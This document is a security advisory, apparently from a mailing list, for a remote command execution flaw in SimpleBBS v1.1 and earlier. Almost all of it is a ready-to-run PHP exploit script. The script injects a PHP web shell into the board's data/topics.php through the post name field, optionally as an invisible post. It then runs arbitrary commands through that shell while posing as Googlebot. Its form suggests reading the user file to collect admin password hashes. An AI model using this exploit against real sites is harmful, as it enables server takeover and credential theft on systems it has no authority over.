[EXPL] SimpleBBS Command Execution (Exploit)

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SimpleBBS Command Execution (Exploit)
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SUMMARY

<http://www.simplemedia.org/?view=products&id=1> SimpleBBS is "an open
source bulletin board system. Users can leave messages and reply to other
topics, or even upload own avatar to be shown under his/her name".

A vulnerability in SimpleBBS allows remote attackers to cause the program
to execute arbitrary code.

DETAILS

Vulnerable Systems:
* SimpleBBS versions v1.1 and prior

Exploit:
<?php
# ---simplebbs_11_xpl.php 19.42 02/12/2005 #
# #
# SimpleBBS <= v1.1 remote commands execution #
# coded by rgod #
# site: http://rgod.altervista.org #
# #
# -> this works regardless of magic_quotes_gpc settings #
# #
# usage: launch from Apache, fill in requested fields, then go! #
# #
# Sun-Tzu: "He will win who knows when to fight and when not to fight." #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<html><head><title>***** SimpleBBS <= v1.1 remote commands execution
*****
</title><meta http-equiv="Content-Type" content="text/html;
charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;
SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; }
img
{background-color: #FFFFFF !important} input {background-color: #303030
!important} option { background-color: #303030 !important} textarea
{background-color: #303030 !important} input {color: #1CB081 !important}
option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1
{font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size:
0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} *
{font-style:
normal !important} *{text-decoration: none !important}
a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration:
underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,
sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,
sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p
class="Stile6">
***** SimpleBBS <= v1.1 remote commands execution ***** </p><p
class="Stile6">a
script by rgod at <a href="http://rgod.altervista.org"target="_blank";>
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%">
<form
name="form1" method="post"
action="'.strip_tags($SERVER[PHP_SELF]).'"><p><input
type="text" name="host"> <span class="Stile5">* hostname
(ex:www.sitename.com)
</span></p> <p><input type="text" name="path"> <span class="Stile5">* path
(ex:
/simplebbs/ or just / ) </span></p><p><input type="text" name="command">
<span
class="Stile5"> * specify a command ( "cat ./../users/users.php" to see
any
admin/user MD5 paasword hash </span> </p> <p> <input type="text"
name="port">
<span class="Stile5">specify a port other than 80 ( default value )</span>
</p><p><input type="text" name="proxy"><span class="Stile5"> send exploit
through an HTTP proxy (ip:port)</span></p><p><input type="submit"
name="Submit"
value="go!"></p></form> </td></tr></table></body></html>';

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>&nbsp&nbsp</td>";
}

for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //if you have sockets module loaded, 2x speed! if
not,load
//next function to send packets
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " .
socket_strerror($socket) . "<br>";
}
else
{ $c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
echo "OK.<br>";
echo "Attempting to connect to ".$host." on port
".$port."...<br>";
if ($proxy=='')
{
$result = socket_connect($socket, $host, $port);
}
else
{

$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].'
proxy...<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect()
failed.\r\nReason: (".$result.") " . socket_strerror($result) .
"<br><br>";
}
else
{
echo "OK.<br><br>";
$html= '';
socket_write($socket, $packet,
strlen($packet));
echo "Reading response:<br>";
while ($out= socket_read($socket,
2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);

}
}
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) { echo 'No response from '.htmlentities($host);
die; }
}
else
{
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{

$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}

$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port];$command=$_POST[command];
$proxy=$_POST[proxy];


if (($host<>'') and ($path<>'') and ($command<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error...
check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("\r\n","",$host);
$path=str_replace("\r\n","",$path);

#STEP 1 -> Inject a shell in data/topics.php ...
$CODE="\"><!--<?php error_reporting(0);print `\$_GET[cmd]`; die;?>";
//we use backticks in shell to get rid of magic_quotes_gpc settings...
//so it works regardless of it...
$CODE=urlencode($CODE);
//you can inject arbitrary php code in name argument
$data="name=SUNTZUSUN". $CODE.
"&subject=Hi&message=Hi%20all&sendTopic=Send";
//if you set c to 0 you have an invisible post
$packet="POST ".$p."index.php?v=newtopic&c=0 HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="User-Agent: Jyxobot/x\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);

#STEP 2 -> Launch commands ...
$packet="GET ".$p."data/topics.php?cmd=". urlencode($command)."
HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: Googlebot/Test (
http://www.googlebot.com/bot.html)\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
}
else
{echo "Fill * required fields, optionally specify a proxy...";}

?>


ADDITIONAL INFORMATION

The information has been provided by <http://rgod.altervista.org> rgod.



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